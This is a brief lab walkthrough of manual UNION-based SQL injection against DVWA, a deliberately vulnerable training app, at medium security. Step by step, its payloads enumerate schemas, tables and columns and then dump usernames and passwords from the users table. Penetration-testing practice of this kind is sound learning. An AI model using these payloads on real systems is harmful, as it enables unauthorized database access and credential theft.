DVWA_Medium_Manualy_Dump

Extract database name

id=1 union select 1,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata&Submit=Submit
DVWA_MEDIUM_DB_NAMES.png

Extract tables from database

union select 1,gRoUp_cOncaT(0x7c,table_name,0x7c) fRoM information_schema.tables wHeRe table_schema=database()
DVWA_MEDIUM_TABLENAME.png

Extract column name from database

union select 1,gRoUp_cOncaT(0x7c,column_name,0x7c) fRoM information_schema.columns where table_schema=database()
DVWA_MEDIUM_COLUMN_NAME.png

Extract column name from database with tablename

GET Data like Table_Name:ColumnName

union select 1, gRoUp_cOncaT(table_name, 0x3a, column_name)
from information_schema.columns
where table_schema=database()
group by table_name

Explanation:

  • table_name: Represents the name of the table.

  • 0x3a: Hexadecimal for : to separate the table name from the column name.

  • column_name: Represents the column name.

  • group by table_name: Ensures that you concatenate columns for each table.

This query should return the tablename:columnname format as desired.

DVWA_MEDIUM_TABLE_COLUMN_NAME.png

EXTRACT data from table

union select 1,gRoUp_cOncaT(0x7c,user,0x3a,password,0x7c) fRoM users
DVWA_MEDIUM_DATA_DUMP.png

Last updated